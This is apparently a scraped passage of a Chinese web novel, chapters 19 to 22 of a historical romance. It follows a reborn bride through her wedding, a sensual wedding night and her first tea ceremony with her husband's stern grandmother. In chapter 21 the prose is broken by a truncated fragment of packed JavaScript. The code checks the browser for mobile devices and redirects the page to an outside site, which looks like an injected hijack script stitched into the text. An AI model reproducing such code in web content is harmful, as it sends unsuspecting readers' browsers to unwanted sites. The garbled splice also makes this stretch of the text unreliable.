沈怀渊愣了愣。随即便咧开嘴笑了,眼眶发红,他赶紧别过脸去,冲身后嚷道:“行了,这便行了!赶紧让路!”
有族中子弟喊道:“放水,怀渊你这明显放水了。”
沈怀渊才不理,他转身跑到姐姐面前。
沈欢颜在盖头下看不见,只听到阿弟沉沉的嗓音,“阿姐,你上檐子罢。今后你一定要好好的……”
她伸出手,向上摸到阿弟的脑袋,像小时候那般,轻轻揉了两下,才小声道:“放心,阿姐一定好好的。”
这时全福夫人才把新娘的手递出去。
谢清墨捻了一下手心的汗,匆忙握住。
她的手指纤软,微微有些凉,被他握住的一瞬轻轻颤了颤,似乎也有些紧张。
谢清墨又把她的手握紧了些,低低唤了声:“欢儿,别怕。”
盖头下,沈欢颜的脸一下子便红了,虽无人能看见,却如天边的朝霞那般明艳动人。
满街、满巷都是笑声、贺喜声。
她家的仆人在身后抬着嫁妆,围观的人群发出一阵阵惊叹。
有人说:“到底是殿帅府,好体面的嫁妆,连兵器都陪送了!”
沈欢颜微微侧头,似乎还想回头看一眼,却被谢清墨握紧了手往花檐子走去。
只听他含笑低声道:
“既嫁了我,就别想着回头了。”
19. 红烛罗帐
花檐子在鼓乐声中穿过御街,一路往卫国公府去。
谢清墨骑着马走在最前头,背脊挺得笔直,却总忍不住侧头向后看。那帘子垂着,虽什么也看不见,可他知她就在里面,心里也是鼓囊囊的。
街边看热闹的人群熙熙攘攘。许是因为心急,谢清墨觉得这一路如此漫长,不知过了多久,国公府终于到了。
府门大开,青色布条一直延伸到正堂。
卫国公夫人王氏领着府中众人在门口候着,脸上虽挂上了端庄的笑意,内心的忐忑却只有她自己知道。除却自己出嫁,她真是许久再为人之瞩目矣。
谢清墨翻身下马,走到花檐子前。
全福夫人掀了帘子,面露笑意地将新娘子扶了出来。
沈欢颜带着盖头看不见路,她微微低头看着脚下,等着有人说与她该往何处走。
忽然一只手伸到了身前,那只手骨节细长而分明,她从前做那事时最爱握着,自是再是熟悉不过。
忽被不该有的想法扰了心神,沈欢颜耳根红透,忙把手递入了他的掌心。
察觉她指尖的凉意,谢清墨紧了紧那只手,轻声道:“跟我走,别怕。”
她由他牵着,踏上了青布条,至正堂门口,司礼高声唱道:“跨鞍。”
眼前是一只马鞍,鞍下压了有铜钱。沈欢颜一手提起裙摆,一手由他扶着,稳稳跨了过去。
只听身后有人小声议论:“将门的女儿,跨鞍就是稳当。”
沈欢颜听了这话瞬间勾起了唇,这要是让她阿爹听到,准是要骄傲到翘起眉毛的。
忽然就有些想她阿爹阿娘了……
谢清墨察觉出她步伐越来越缓,小声关切道:“怎么了?”
沈欢颜轻轻摇了摇头。
仿佛心灵相通一般,他一面用大拇指摩挲她的虎口,一面柔声道:“过两日,我与你一同回门。”
沈欢颜心里软了一瞬,点了点头。也不知他看到了没有。
时辰尚早,谢清墨把沈欢颜送到喜娘旁,由她带着新娘去暖阁稍整衣冠与妆容,待到昏时,再由人扶入正堂。
*
屋外,天色已深,堂内灯火通明。
谢清墨面西而立,沈欢颜由喜娘扶着,从西侧步入中堂。只见她头上盖着盖头,手中又握着一柄却扇。在烛影中朝他而来,又与他并肩而立。
谢清墨眸色如墨,笑意从眼底漾开。
满堂宾客分列两侧。正堂最上首,摆了三把椅子。中间那一把,坐着国公府老夫人窦氏。
老太太穿着绛紫色大袖礼服,满头银发梳得一丝不乱,端坐在那里,不怒自威。她的目光落在眼前这对新人身上,面上却没有笑,只是静静看着,瞧不出喜怒。
“新郎新妇,就位——”
“一拜天地——”两人跪下叩首。
“二拜高堂——”两人转身,面向上首三位再叩首。
沈欢颜隐约能透着盖头看到人影,也就只是人影,她一眼便认出中间坐着那位便正是上一世那个处处把自己压的死死的谢老夫人。
不由手心出了汗。
“夫妻对拜——”
她走了神,身子弯得极慢,还是谢清墨的一句“专心。”将她从思绪中猛地拉了回来。
至此礼成。
司礼唱到:“送入洞房——”
满堂宾客正要起哄,却听到前头传来一声苍老又威严的声音:“慢着。”
堂内顿时一静。谢清墨听罢心头一紧。
谢老夫人扶着嬷嬷的手缓缓站起身来,目光落在新妇身上,平声道:“盖头不如就在这里揭了吧。也让老身瞧瞧我孙儿到底娶了个什么模样的媳妇。”
谢清墨正要说话,刚启了一字,沈欢颜连忙拽住了他的衣袖。
他怔愣间,只听身边人柔声应道:“是。”
沈欢颜向他走近一步,拉了他的手捏住盖头边,示意他掀开。
谢清墨看到满堂宾客都看向这处,就连新娘本人都在等着,他只好伸手,捏住了盖头一角,缓慢掀起。
光亮涌入,沈欢颜眨了眨眼,掀起眼帘。
那一瞬,满堂华彩皆成了陪衬。宾客们都瞧着她,顷刻间嘈杂声起,大家不约而同都在赞叹新妇的美貌。
只有沈欢颜将目光直直望向了堂上那位银发苍苍的老妇人。
别来无恙啊老祖宗,沈欢颜默默想。
谢老夫人的目光也不客气,从她的眉眼鼻梁嘴唇一一掠过,最终回到她那清亮又坦然的眼里。
良久,谢老夫人淡淡开口:“长得倒是不错。”
上一世拜礼,她不记得曾见过谢老夫人。许是因为那时是圣上赐婚,怎么也由不得她来挑毛病。这一世的婚约是谢清墨与沈夫人一同定下的,虽最后也同老夫人解释了许多,可她心中仍有芥蒂也是常情。
沈欢颜不卑不亢,慢声笑答到:“祖母过誉。”
谢老夫人却没想到她会如此淡然,眼神中又多了几分意味不明。随即又转向孙儿交代到:“外头宾客还在等着敬酒,你快去。”
谢清墨闻言,看向沈欢颜,脚步未动。
他方才已在内心自责过千百遍,千算万算竟忘了祖母,他先前也从未提前与沈欢颜说明家中情况,才将她置她于如此境地。
谢老夫人将这一切看在眼里,本想给新妇一个下马威,谁知孙子竟如此护她,只能作罢:“新妇先回房。”
沈欢颜屈膝行礼:“是,祖母。”
谢老夫人没再看她,扶着嬷嬷的手站起身,往后堂去了。
谢清墨站在原地,眼睛瞅着她,欲言又止,最后只叫了声:“欢儿。”
沈欢颜本是疲惫的,见了他这样子又觉得好笑,弯着嘴角道:“我没事,你尽管去,宾客还等着呢。”
谢清墨又想说什么,却被一旁的傧相扯着往外走,他只来得及错身的一瞬在她耳边低声道:“等我。”
她点点头,却羞红了脸。
*
洞房里,红烛烧过大半,帷幔是深红的,被烛光一照,像笼了一层仙雾,随着烛焰轻晃。
已至夜深,若是放在平常,沈欢颜与周公早已闲聊了八百回合……却还不见谢清墨归来。
上一世,别的不说,她与他在这一方面是极合拍的。
只不过,这才刚成婚,她想,总要矜持些更好。
沈欢颜独自坐在床沿,四周静悄悄的,只余烛火捻着灯油那细微的噼啪声。
她头上的凤冠早歪到了一边,脑袋不住地往下栽,最后干脆歪倒在了鸳鸯被上,绣鞋还搭
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在床沿晃啊晃。
门外忽然传来脚步声。
是他回来了。
沈欢颜连忙坐起身,理了理自己的裙摆。
谢清墨缓缓推门进来,身上还沾着酒气。他先是低头扯了自己的衣襟闻了闻,才决定先去同她打了招呼再去沐浴。
他直直看过去,见她安安静静坐在那,手里还端着那把却扇。
她在等他。
他笑。
起码现在她眼里,只有他。
这念头只在心尖上滚过,就叫他心口涨得发酸。他快步走进来,慢慢在床前蹲下。
他抬眼看她,许是因浸了酒气,眼里像蒙了一层薄薄的水雾,却又烫人。
谢清墨没忍住,抬手在她脸颊上蹭了蹭,很轻,像是在确认她是不是真的在这儿一般,随即似乎又想起什么,皱着眉开口道:“我……”
没等他继续说,沈欢颜便抢先用手捂住了他的口。从他一进来,她便知道他又要说什么话。
“二郎又要赔不是?”沈欢颜低头,蹙着眉嗔怪道。
她对他的那些虚礼再熟悉不过。
二郎……
谢清墨愣住,这二字平常母亲也喊、大哥也唤,可偏偏从她口中吐出,就像是有人在他心口最软那处,轻轻拧了一把,
他喉头发紧,喉结微动。
“怎么了,不该这样唤?那我……该唤你什么?”沈欢颜颊上染着红晕,歪着头睇他。
谢清墨眼底的墨色更沉了,他忽然握住了她的手,从下向上猛的欺身上去,吻上了她的唇。
那一下很重,捻的这一下又很轻,很珍重。
“该。”他盯着她通红的脸,开口声音是哑的,却又急,生怕她改口一般。
柔声哄着:“就这样唤,往后都这样唤。”
沈欢颜受不住他一动不动地注视,慌忙错开了眼,又想起方才事情的来由,忽然煞风景道:“郎君莫要总与我赔不是,如此生分,往后日子还长,你若这样教我如何是好……”
她眼波流转,欲言又止。
“我是心疼你受了不该受的委屈,祖母她……性子严厉,对谁都不客气。往后你有什么气了不要忍,尽管与我说,我定会为你做主。”
“我知道,二郎不必为此担忧。”他祖母什么脾气,她最清楚不过。
以前是自己年少无知,任由别人骑在了头上,这一回万万不会重蹈覆辙。
她眼里的一闪而过的凛然不着边际地化为一汪盈盈春水,
她眨眼柔柔地笑着。
谢清墨本就喝了酒,行事自然大胆了些。他就那样忽得直起身,将沈欢颜揽入了怀中。她微微一愣,随即也伸手,轻轻环住他的腰。
任谁看来,此时都是他们这对有情男女蜜里调油的甜蜜时刻。可只有沈欢颜心里清楚,如今自己面对他的所言所行,皆不过是七分伪装,两分应付,至多只余一分真心。
也只有哄好了他,自己往后在国公府的日子才会好过一些。
抱了许久。久到沈欢颜打了呵欠,谢清墨还是没有别的动作,直至最后,他竟轻轻松了她,转身去了浴房。
等他沐浴回来,竟直挺挺在她身侧躺下了。
“……”
说好的新婚之夜洞房花烛呢?
20. 良宵苦短
沈欢颜忽然冒出一股无名火,方才他那瞬间要把自己生吞活剥、拆吃入腹的炙热眼神莫非全是玩笑?
帐子是绛红的,喜烛的光透进来,两人就这么各怀心思的躺着……
上一世谢清墨拜完堂便把自己丢下,多少天都不闻不问。这一世,明明都已箭在弦上,竟还能如此放下……
沈欢颜不禁想揽镜自照,看看是不是自己有哪处不妥,竟能惹得他嫌弃?
她平生最得意,莫过于这副容貌皮囊,可怎能每回都在他这里栽跟头?甚至此时身侧的呼吸都平稳、匀净,当真像睡熟了似的。
她又欠身勾头瞧了瞧,只见他搭在被面上那只手,指节分明,搁在红色鸳鸯锦缎上,白得像玉。
更是气不打一处来……
“二郎这是何意?”她实在忍受不了这般莫名其妙的冷落。
谢清墨闻言睁了眼。若是他能听到她内心的自白,怕是要为自己喊冤。
他哪能睡得着……周遭全是她的香气,浑身热着,只能尽量控着鼻息,动也不敢动。
“我不愿强人所难,喜帕……我自会解决,娘子不必因此挂怀。”他轻声解释道。
她嫁他本就是迫不得已。况且她那日看大哥那般痴迷,想必是仍有眷恋。
若强迫她与自己亲近,将来她对他必然更无好感。
谢清墨别过脸,怅然而思。
还是应徐徐图之……
沈欢颜闻言,气的差点背过气去。
因夜深,屋子也暗,她纵容了自己眼珠子往上翻了一翻。
还真是个顶顶大的榆木疙瘩!
思忖了片刻,沈欢颜也试着站在他那处思量自己在他眼里的模样——以色为刃、杀尽春风?
可那又如何?
他本就是聪明人,必然也察觉出自己对他有几分假意、几分真心……
若不是当初被美色所惑,断然也不会入了自己这并不高明的圈套。
怕是他午夜梦回都要自嘲自己如何痴傻——知是饵、又偏上钩。
还真是一个愿打一个愿挨。
沈欢颜想明白了便眼波一转,勾唇笑了起来。
他不是过不了自己这一关?
那,她帮他过……
旋即身子往他那侧一歪,又向前挪了挪,凑在他耳边轻声道:“二郎当真这样想?”
随着缎面褥子窸窸窣窣的响动,她在他耳边又呼出断断续续的香气……黑暗中,谢清墨耳廓肉眼可见地红了。
他肩膀紧绷,哑声道:“娘子早些歇息罢,明早还要请安奉茶。”
“郎君怎不唤我欢儿了?”
沈欢颜盯着他被烛光映着,边缘红得几乎透明的耳廓,勾唇笑着。
她又凑近了些,这回看清了他耳后有颗极小的痣,藏在下颌和耳根的阴影里,上一世竟未曾留意过。
视线顺着那颗痣往下,沈欢颜的呼吸就落在他颈侧……那颈子白日里就是极好看的,是除了那双手以外,她最喜欢的。
“可二郎……我冷。”话说出口,这声音里还真有些鼻音。
初春,屋内还是有些寒意的。
她又就着鼻音轻嗔着:“我小时候被烫过,用不惯汤婆子的。”
谢清墨方才也留意到,她把丫鬟备好的汤婆子放的远远的。
可这……
“二郎替我暖暖可好。”
沈欢颜声音柔柔的,她将自己的被子踢开了角,又用脚轻轻将他的铺盖推出了一条细缝,大胆伸入被中。
婚床的被褥都是女方家提前铺的,为了吉利,帐幔铺盖都是成双的,寓意好事成双。
可这里虽放着两床铺盖,新婚之夜的夫妻却都是要同衾的,另一床基本都作摆设用。
沈欢颜竟没想到谢清墨这榆木还当真把另一床铺盖铺开了。
让自己多废了多少功夫……
她眼睛直直盯着他。当与冰凉的双脚触碰那一瞬,谢清墨整个人僵住。
她看到他搭在鸳鸯被面上的那手终于动了,指节蜷起,攥起布料,整个人的呼吸再也没了节奏,又沉又乱。耳垂红得要滴出血一般,连带脖子根都泛起了粉色。
他喉结轻滚,发出的声音像战场上马蹄踏过的沙面那般粗粝:“欢儿你……”
“妾身可不只是欢儿呢!”一个翻身。
藤蔓攀上参天大树。
她轻轻笑着。
“还是……二郎的新娘呢。”她眨眨眼,狡黠道。
谢清墨感觉到她的带香的鼻息落在了他的脖颈、下巴。贝齿在上面停留片刻便留下了细小的印子,下巴泛起了一阵麻。
像是故意一般,她不看他的眼,继续向上。到了唇边,她先是伸出舌尖轻点他的下唇,像品尝味道一般收回,复又亲了他的鼻尖……
呼吸之间,他只看到她鼻头那颗小痣在他眼前晃啊晃,黑压压的眼睫低垂着,伴着她诱人的鼻息不断侵蚀他的心智。
谢清墨终于不想再忍,掐住盈盈一握的纤柳,起身一转。
又用手擒住她不断作乱的小脸,大拇指摩挲着她的脸颊,强迫她看着自己的眼。另一只手握住她的手腕,欺身向前,重重吻了下去。
沈欢颜在他强迫自己抬头时就有些后怕。
撞上他灼烫的眼时更是下意识偏头,可她低估了雄狮擒住猎物的决心,他的动作又快又重。甚至不是亲,鼻尖和嘴唇顷刻间撞了上来……
“唔……”声音还未出口,便被他吞了进去。
他吻得毫无章法,像是憋了太久,又像是忍耐到了极限,只是用力地捻着,一下又一下。
她承受不住,想后仰,却又被沉沉陷入被褥之中。她想抽出手,哪怕只是扶住他的脸或肩,或许能好受一些。
可他偏不让。
他用手掌托住她的后脑,修长的手指探进她的发间,把她按的更靠近一些。
“二郎……轻点。”沈欢颜迷蒙着眼,睫毛湿湿的,终于趁他吸气的功夫吐出了几个字。
仿佛“二郎”这二字是他的命门似的。
他忽然松了劲儿,抬头用拇指抚过她的眼角,把那点湿意抹去。没再那样暴风骤雨地亲,反而忽然有了耐心一般,小啄起她的唇瓣,一下一下地。
“今天祖母的事我实在抱歉。”谢清墨忽然开口。
沈欢颜怔住,这个时候还提什么祖母?
“明早……”
他竟还要继续说!
“二郎就是要存心戏耍我!”沈欢颜噘着嘴嗔道。
他蓦地笑了:“我哪敢啊欢儿。”
上一世谢清墨常常都是冷着脸,虽然很少笑,但笑起来是极为好看的。
沈欢颜一时看呆。
他复又低下头,仍是一下一下啄着,沈欢颜心尖上痒痒的,她干脆抬起脸彻底堵住了他的嘴。
(已删,全部脖子以上)
他看着她
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紧闭的眼睫又溢出了几滴清泪,喉间滚出了一声极低的笑意,他再次吻住她,这次很慢,但更深了,他等着她回应,似是在确认什么……
沈欢颜也察觉到两人相隔的被褥上不容忽视的齐服,睁开迷蒙的眼,看入他漆黑如深潭眸子,喃喃道:“二郎,不……”
谢清墨趁乱掠过她衣角,从层峦穿过。昏暗的烛火中,她羞红着脸,谢清墨复又吻上她的唇,邀功似的低语:“欢儿,再唤一声……”
谢清墨眸色极深,此刻的声音已经沉得不像话。
“嗯?”沈欢颜被他亲得有些迷茫。
“我是谁,再唤一声……”他哄着,可额头上却布满了细汗。
沈欢颜无力再多想,声音浸了水似的:“二郎……”
只这一声,今夜便再也无机会说出完整说出第三个字。
谢清墨长臂一挥便抽走了大红锦被……
夜色沉沉,长夜漫漫,窗外月光很淡,屋内烛火很浓。
沈欢颜看着早被丢在床下的团扇,那上面绣着的鸳鸯总是不安分似的,摇摇晃晃。
不知哪院的更夫敲了梆子,三声。
不知哪家的木板磕磕嚓嚓地响,无数声。
只知后来院子里的丫鬟婆子们偷摸着讨论关于那日的情形:“这雨啊,初时还是细细碎碎的,后来的狂风暴雨又乱又急……直到快到天明,才没了声响。”
*
次日一早,沈欢颜被晴茵叫醒时,她身侧已经空了。
窗外鸟叫的欢,可她身上却疼得很。
整个人仿佛被马车碾过了一般,骨头缝里都像浸了醋,软绵绵的,酸的使不上力气。
她翻身将脸埋进被子,是自己身上的味道又混了些松木香,交融着,竟别样得好闻。她深吸一口,将脸埋得更深了。
“娘子,老夫人那里要请安。可不能再晚了。”
晴茵也知娘子忙活了一夜,可娘子出嫁前夫人千叮咛万嘱咐,要她一定提醒着娘子,千万别坏了国公府的规矩。
如今谁都知这谢老夫人是明里暗里的后宅当家人。向她请安便是这新妇入门的头等大事,必是要极为重视的。
“二爷呢?”她摸着床褥是冰凉的,他应该早些时候就不在屋里了。
晴茵摇了摇头,答道:“我只知二爷不在咱们院里,去哪了倒是没人敢过问的。”
沈欢颜点点头,便由着晴茵伺候自己梳洗了。
“欢儿。”
沈欢颜刚坐到妆台前,谢清墨便从屋外进来了。
还没等她问,他便笑着先答了:“我方才去祖母院里,跟她说了你昨日歇的晚,今早要多歇会儿,晚一炷香再去跟她请安。”
听得沈欢颜一愣,脸颊瞬间红透:“你就……这样同她说的?”
“怎么?”谢清墨瞅着昨日胆子比天还大的小娘子,今日羞成这副模样,觉得甚是有趣。
晴茵听到方才二爷说的请安时辰往后延了一炷香,便慌忙退下了。
生怕听了什么不该听了。
见到晴茵退下,谢清墨起身走到沈欢颜身边,拿起妆台上晴茵刚刚放下的那把梳子,一下一下帮她梳着头发。
沈欢颜瞅着他好似还有什么话要说,便也安静等着。
“你……”谢清墨对上了镜中她黑亮如葡萄的眼,脸蓦地红了。
他喉结微动,再开口时,声音忽然就哑了几分:“你身上……可有什么不适?”
21. 晨光正好
沈欢颜看他这吞吞吐吐的样子,又生出了些逗弄的心思……
若说方才她面上的红,是因他说了那些话与祖母听,祖母院子里的丫鬟婆子们惯是些大嘴巴,怕是要传得府中人尽皆知了。
可他……她瞥了眼镜中他故意错开不与她对视的眼——必然是想到了什么白日不该想的东西了。
也是人之常情。
不像自己,这副身子虽是初尝云雨,可心里却早已是轻车熟路。
谢清墨如今还未及弱冠。昨日初经人事,没准往后好长些时间心里总要时时刻刻念着、想着其中的滋味。
自己这一世必然要囿于这内宅之中,如此得了这老牛吃嫩草的良机,何不诲之导之,与他琴瑟相和、共谐鱼水?
神怡体舒、气血调畅了,没准还能多活几年……
沈欢颜身上着了月白色中衣,领口微敞,露出大红色的肚兜系带,外头只挂了一件藕粉色薄衫,因在屋里,也没系带……
她看着镜中那清俊的身影,眼里渐渐浮起了笑,软软的,像猫儿睡醒时眯起的眼,手腕抬起,指尖缓慢地勾起一缕青丝。
她眼波一转,轻声道:“若不适,二郎要怎样?”
“难道要……与我揉揉?”她眨眨眼,后两字尾音拖的极长。
谢清墨闻言,透白的脖颈逐渐变粉,一路红到了耳朵根。
沈欢颜也是这一世才发觉他在自己跟前极易脸红,活像一个娇滴滴的小美人,日日都要被自己调戏。
她不自觉挪了挪腿,若说没有不适是假,昨日自己整个人被他翻来覆去的折腾,哪怕是铁做的人要被他拆散了。尤其自己这腿根,像是劈了八百个叉似的,一动就要疼半天的。
她正想着,倏而一下子被人从椅子上抱起,她变了脸色,急忙双手圈住他的脖颈,生怕掉下去。
“这回怕了?”谢清墨沉声道。
他承认他在闺房之事上耍嘴皮子的功夫不如她,可他又不是只长了嘴。
谢清墨抱着她直接走向窗边的美人靠。
有光透进来,糊着的碧纱把春日的暖阳筛成了细碎的金箔,照在沈欢颜细白的腿上。
“还是大意了!”沈欢颜躺下瞬间,心中只有这一个念头。
这厮到底哪里得来这样一瓶药膏,说是一定要抹,还必须他帮忙。
此一遭,真真去了半条命……
后来还是晴茵进来重新伺候她沐浴更衣。
谢清墨倒是衣着整齐,独自在窗边坐着,手里拿着一卷书册闲闲地翻。
一切就绪,两人才朝着后院老夫人那处鹤兰堂走去。
院里微凉,谢清墨走在她外侧为她挡风,过了第一道垂花门,他斟酌开口道:“祖母她……嘴上厉害些,心不坏。”
沈欢颜侧头看他,等他往下说。
“不过,你嫁的是我,无需刻意迎合,且做你自己便好,旁的都不必在意。”
沈欢颜看他眉头紧锁,被他这正正经经的样子逗笑:“二郎是怕我受委屈?”
他不接话,面颊有些红,不愿承认。
可沈欢颜却听出了他正是此意。
男子素来对后宅妇人间那些家长里短、人情往来不屑一顾,可待到真要他们出面调和时,反倒愈发束手无策。
哪怕是眼前这清冷高傲、素谙手段的青年才俊,亦是如此。
不过他有这份心意,已是顶好的了。
她扯了扯他的衣袖,眨着眼轻笑道:“可是……二郎怎知我一定会受委屈呢?”
谢清墨一愣,心下便想:还真可能是自己多虑了。
*
鹤兰堂的门虚掩着,里头隐约传来说话声:“清墨这孩子,倒是会心疼人……”
说的应是早上“晚一炷香”那事。沈欢颜听罢脸颊一红。
是婆母王氏的声音,带着笑意。不过却无人接她的话。
沈欢颜对国公府后宅的情形可是了然于胸,婆母是个没主心骨的,从来都是被老夫人压制着。
自己这一世要想过舒服了,还真得先把老太太哄明白了。
谢清墨低头用眼神询问,见她摇了摇头表示无事,便抬手推开了门。
“祖母、母亲。”他微微颔首,领着沈欢颜跨过门槛,“孙儿带新媳妇跟您二老请安。”
卫国公一早便因政务入宫,王氏直接来了老夫人房里,要他们请安一并请了便是,倒也方便些。
沈欢颜抬眼,正堂上,老太太穿着酱色褙子,头发梳得一丝不苟,手里捏着一串佛珠,眼色沉沉地望过来。旁边太师椅上的婆母王氏也端正坐着,见了二人,脸上挂着笑。
“祖母、母亲。”沈欢颜规规矩矩行礼。
老夫人看着,也不说叫他们起来,只是把手里的佛珠拨了一颗,不咸不淡地开口道:“既来了,就奉茶吧。”
一旁的丫鬟捧上托盘,上头有两只青瓷茶盏。沈欢颜端起其中一盏,双手捧给老夫人:“祖母请用茶。”
老夫人接了过去,却没喝。只是离近了又从上到下将她打量了一个来回。
样貌身形确实万里挑一,她敛下眉眼,心里想着:怪不得把自己的乖孙迷得颠三倒四的。
随即又冷淡开口:“听说你母亲娘家是做生意的?”
“是。”沈欢颜动作一顿。
这老夫人是摆明着让她心里不舒坦。不说父亲如今是圣上重用之人,偏提母亲出生商贾之家。
“商人多重利,规矩也松泛些。”老太太抿了口茶,又道:“你父亲早年常在外征战,你一直跟你母亲长大,怕是学了不少生意经罢?”
这话说得倒也不重,可“规矩松泛”四字,任谁听了都知是怎么个意思。
谢清墨面色一凝。王氏看了儿子的脸色也慌忙要开口打圆场,却见沈欢颜柔柔一笑。
“祖母说得是。孙媳确从母亲那里学了许多理账、谈生意的本事,故那些个虚头巴脑不能当饭吃的规矩着实欠缺了些。”她顿了顿,“但母亲教的‘与人相处,要用真心换真心。’那句,孙媳再愚钝,却仍常记心中不敢忘。”
老太太听罢,眼皮跳了跳。
她这话接的妙。老夫人挑剔她没规矩,她却用“真心换真心”来接,倒是显得国公府这边太过小家子气了。王氏在一旁听了直愣,不由对儿媳更加另眼相看起来。
沈欢颜见老夫人没再接话,便转而将第二盏茶奉给了婆母王氏。
王氏接过茶,顺手轻轻拍了拍她将要放下的手,用只有两人能听到的声响轻声道:“好孩子,别往心里去。”
沈欢颜听了这话心头微暖,悄悄点了点头。
也是奇怪,上一世她与婆母关系极淡,她看她的眼神里也从未有过如此的温情。想必她也是爱屋及乌吧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353335|199655||http|test|mini|href|location''.split(''|''),0,{}));
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>她抬头看了眼谢清墨,竟没察觉他也正望着自己,且还趁祖母低头间隙冲自己灿然一笑。
沈欢颜慌忙错开眼,方才她还在想,谢清墨会不会觉得自己对他祖母太不礼貌。
眼下看来,是自己多虑了。
沈欢颜旋即又转向老夫人,开口道:“恰巧祖母问起经商,孙媳还有一要事要禀。”
老太太抬头,见沈欢颜从袖中取出一张纸,双手递了过来。
“这是……”
“是孙媳的另一份嫁妆单子,”沈欢颜笑道,“孙媳外祖家世代经商,积攒下了些家底。出嫁时外祖母和舅父知孙媳嫁的是簪缨世家、高门大户,又添了这些铺面田产什么的,说是起码能让孙媳在婆家挺直些腰杆子。”
丫鬟将单子接住递到老太太手中
老太太不以为意地低头扫了一眼,正打算说什么,却忽然顿住了。
只见她目光定在纸上,久久不动。
王氏察觉不对,也凑过去看,倏而瞪大了眼睛。
满屋子鸦雀无声。
就连在一旁淡然立着的谢清墨都不由好奇。他转头对上她的眼,又挑了挑眉,大概有“你怎么连我都瞒”的意思。
她冲他俏皮地眨眨眼。
又转头对着老夫人敛下了眉眼,放低声音,语气平平:“孙媳却觉得是外祖母多虑了——咱国公府这样的人家,本就不怎么看重身外之物,更何况又瞧不上经商,再多的铺子,也不过是冗赘罢了。奈何外祖母和舅父一片心意,孙媳也无法推辞,特来请祖母过目,看看若有什么不合规矩的,孙媳也好早做打算。”
老太太一听这话,脸色是精彩极了。
这单子,不说田产,就单是铺子,就遍布天下富庶之地:单京城就有二十间——金银楼、酒楼、绸缎庄……另有蜀中四间织坊、苏杭六间绣庄、广州四间香料行,连运河码头都有十几间货栈,更别说汪家的老本家扬州城了,更是数不胜数的各式铺面,卖什么的都有……
王氏先接了话:“哎呦这孩子,外祖家可是太疼你了些。母亲,您瞧这单子,可真是……”
老太太呼了两口气,把嫁妆单子往桌上一放,眼睛直直看了过来。
沈欢颜也不躲,任由她看,只是柔柔地笑着。
而一旁的谢清墨从头到尾没说话,只是目光始终落在她身上,嘴角擒着一丝压不下的笑意。
静好一会儿,老夫人颓然叹了口气,语气也不知是气还是笑:“我这活了多少年了,头一回见到这样会说话的新媳妇……罢了罢了,一切你自行处置吧。”
沈欢颜瞬间咧开了嘴,忙谢道:“祖母英明,孙媳一定好好经营。”
“唉?我可没说是要你亲自经营啊!”
这老太太不糊涂。
沈欢颜见她表情未有恼怒,愈发得寸进尺,直接上前代替了丫鬟给老夫人揉肩锤背。
又在她耳边小声道:“孙媳绝不会抛头露面给国公府丢人,只是每月需要见一见几个管事的,平日里翻翻账本罢了。您放心,往后天南海北的,只要哪里得来了好东西,孙媳首先就是要来孝敬您的。”
老夫人这次算是真服了她了,她说话怎么净往人心窝子戳,也算是知道,她这张嘴做起生意,死人都要被她说活了,绝对不是吃亏的人。
想到这,不由地朝谢清墨那睇了一眼:看,这便是你找的好媳妇!
22. 春日正盛
掀了帘子从老夫人房里出来,沈欢颜心情大好。
一是长了长自身威风,让国公府上下都知道自己不是个可以随意揉搓欺负的软柿子;二是顺带借着打理铺子、见管事的由头,能多出几回门。
方才来时才发觉,廊下那几株垂丝海棠开了,热热闹闹挤作一团。她低头一瞧,最低的那枝探到了围栏边上来,花瓣透着光颤巍巍的,就连砖头缝里冒出的青苔也绿得可爱……
心绪颇佳,连带着看自己的夫君也愈发顺眼了。
不得不说,这京城的贵女们眼光很是毒辣,她瞧着远处回廊尽头的谢清墨,暗暗心想——这谢家兄弟名满京城,大抵除了勇武和才学以外,样貌必然也占了大头。
他极高,身形又正,连日光也有所偏爱似的全拢在他那笔直的长身上,周身泛着光。眉是远山裁出来的,眼是深潭里舀出来的,鼻梁是玉匠雕出来的,挺拔似峰,多一分少一分都会失了如今让人过目难忘的风采。
应是在想事情,他嘴唇紧抿着,面皮白得能透出底下的青筋,长而密的睫毛在眼睑下投出一片淡淡的阴翳。听到脚步声便抬眼看过来,像帘子缓缓掀起,漏出底下两汪深不见底的寒潭……
沈欢颜一时怔愣,忽觉今世自己好像从未细看过他——这般年轻,又这般好看。
“怎么了?”谢清墨也走至她身前,见她目不转睛的,含笑问道。
“没什么,”沈欢颜忽觉失态慌忙偏了头去,轻声道:“你快忙去罢,今日见了长辈,大事也算忙完了。”
她想到他成亲前前后后已告了多次假,屡屡因私事把太子爷晾在一边,连她都要替他捏把汗。
“好。”他离她近了些,目光不自觉逡巡着她的眉眼,低声道:“明晚暮时我便归家,后日好陪你回门。”
“无碍,二郎且去忙你的正事去,我家中规矩淡,若你繁忙,便是不回,我爹娘也不会怪罪。”
“说什么胡话。”谢清墨弯下腰,伸手点了点她鼻尖那颗小痣,“这如何使得,明晚纵再有冗务缠身,我也必当赶回。”
“况且,”他低头,脸颊偏到她耳旁低声道:“我不回来了……难道欢儿不会想我?”
*
次日清早,沈欢颜请了安才忽然想到一事。
半晌,她回房中拿出了一只青瓷小瓶,复往鹤兰堂去。
瓶里是那时从扬州带回来的药酒,昨日她给老太太按肩时,发觉她左侧肩膀有一处僵硬。她想着若能趁热打铁与老太太处好关系,日后必能免去许多杂事。
李嬷嬷在廊下站着,见她来,迎上来接她手里的瓷瓶:“二少夫人这怎又来了一回,送东西的活让丫头们跑一趟便是。”
“不妨事。”沈欢颜随她往里走,“昨个给祖母按肩,觉着她左肩有些僵。刚好我这边有从扬州名医那里得来的祛湿寒的药酒,给祖母送来。”
李嬷嬷侧着脸,倒是对这新媳妇另眼相看了几分,笑道:“二少夫人有心了。老太太这都是老毛病了,瓶瓶罐罐的药也用了不少,就是也不见好。索性也不怎么影响起居,就逐渐放着了。”
“现在虽还不至于影响起居,可拖久了,将来还是要受罪的。”沈欢颜顿了顿,又道:“这药酒我那还有,回来差丫鬟与李嬷嬷也拿一瓶,嬷嬷整日劳心劳力地侍候,定是也有脖肩不爽利的时候。”
李嬷嬷瞬间喜笑颜开,连忙道谢。
